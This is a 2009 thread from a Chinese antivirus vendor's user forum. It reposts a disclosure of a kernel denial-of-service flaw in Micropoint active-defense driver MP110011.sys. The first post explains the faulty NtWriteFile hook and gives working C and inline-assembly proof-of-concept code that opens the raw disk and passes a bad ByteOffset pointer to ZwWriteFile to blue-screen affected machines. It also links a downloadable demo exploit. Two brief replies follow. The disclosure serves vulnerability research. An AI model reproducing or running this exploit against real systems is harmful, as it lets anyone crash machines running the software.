微点交流论坛
» 游客:  注册 | 登录 | 帮助

 

作者:
标题: [转贴]微点主动防御 1.2.10580.0169 (及以下版本)内核拒绝服务漏洞
mingjiao5
新手上路





积分 25
发帖 25
注册 2008-12-22
#1  [转贴]微点主动防御 1.2.10580.0169 (及以下版本)内核拒绝服务漏洞

微点主动防御 1.2.10580.0169 内核拒绝服务漏洞

微点主动防御是一款号称具有识别未知木马能力的主动防御软件

微点主动防御的最新版本1.2.10580.0169(20090205)中存在内核拒绝服务漏洞,可导致任意权限用户在安装了微点主动防御的系统上可引发蓝屏,从而导致拒绝服务攻击或为进一步攻击做准备

出问题的组件:MP110011.sys 版本:1.3.10050.0,CheckSum = 0x00014f3f, TimeStamp = 0x49534981

微点主动防御在使用对ntoskrnl!NtWriteFile->ObReferenceFileObjectForWrite的CALL HOOK中,通过使用堆栈回溯的方式取得NtWriteFile的参数ByteOffset
只使用了MmIsAddressValid函数对ByteOffset的首字节地址做了有效性判断,就直接使用了这个实际长达8个字节的Buffer,最终导致了漏洞的发生

下面是攻击示例代码,运行此代码后,装有1.2.10580.0169版本微点的机器上将立即蓝屏

HANDLE hdev = CreateFile("\\\\.\\c:" ,
   FILE_READ_DATA | FILE_WRITE_DATA |SYNCHRONIZE ,
   FILE_SHARE_READ | FILE_SHARE_WRITE ,
   NULL ,
   OPEN_EXISTING ,
   0,0);
BYTE Buffer[512];
ULONG btr ;

SetFilePointer(hdev , 0 , 0 , FILE_BEGIN);

ReadFile(hdev , Buffer , 512 , &btr , 0 );

HMODULE ntdll = LoadLibrary("ntdll.dll");
PVOID pNtWriteFile = GetProcAddress(ntdll, "ZwWriteFile");
ULONG i ;

for (i = 0 ; i < 0x7fffd000 ; i +=0x1000)
{
   if (IsBadReadPtr((PVOID)(i - 3) , 1) == FALSE &&
    IsBadReadPtr((PVOID)i , 1 ) == TRUE)
   {
    i = i - 3 ;
    break ;
   }

}
PVOID buf = Buffer;
LONG stat ;

__asm
{
   push 0
   push i
   push 512
   push buf
   push 0
   push 0
   push 0
   push 0
   push hdev
   call pNtWriteFile
   mov   stat , eax
}

下载漏洞演示程序请到

http://mj0011.ys168.com

漏洞演示目录下bsod_mp_x.rar


---------------------------------------------------------
看到微点可以拦截RING3 常规的disk level文件删除和修改,并报警为 试图篡改系统文件,还以为有什么高招,例如FS解析等

分析了一下,原来是Hook了NtWriteFile,然后判断如果FileObject的FileName为空,然后驱动对象是disk或ftdisk(这个判断做得很啰嗦很山寨),就认为是篡改系统文件 ,这么不负责的判断,太雷人了~随便什么程序写写磁盘就是试图篡改系统文件的未知木马~ 这么乱判,还做什么主动防御~

另外RING3程序还会获得一下Explorer.exe和Userinit.exe的磁盘簇位置,发现如果是在写这两个文件的簇就认为是机器狗,做一些特殊处理

这里也做得很雷人,微点认为Explorer.exe和Userinit.exe的磁盘簇分布一定是连续的,所以就设定了一个范围。。。

另外NtWriteFile的HOOK判断中还有一处也相当雷人的本地拒绝访问漏洞,稍候放出,话说微点的驱动,真是看哪个函数,哪个函数就有漏洞啊~

其实绕过这个也很简单,不过要注意微点在atapi的internal dispatch上还有一处很挫的钩子~


-------------------------
详细见:http://hi.baidu.com/mj0011

微点加油啊~~!

※ ※ ※ 本文纯属【mingjiao5】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-2-6 11:16
查看资料  发送邮件  发短消息   编辑帖子
节约用水
中级用户





积分 284
发帖 274
注册 2008-5-23
#2  

这么老的帖子还翻出来啊

※ ※ ※ 本文纯属【节约用水】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-2-6 11:40
查看资料  发短消息   编辑帖子
mingjiao5
新手上路





积分 25
发帖 25
注册 2008-12-22
#3  

我是今天才看见的,所以就直接发了

※ ※ ※ 本文纯属【mingjiao5】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
2009-2-6 11:42
查看资料  发送邮件  发短消息   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]


北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号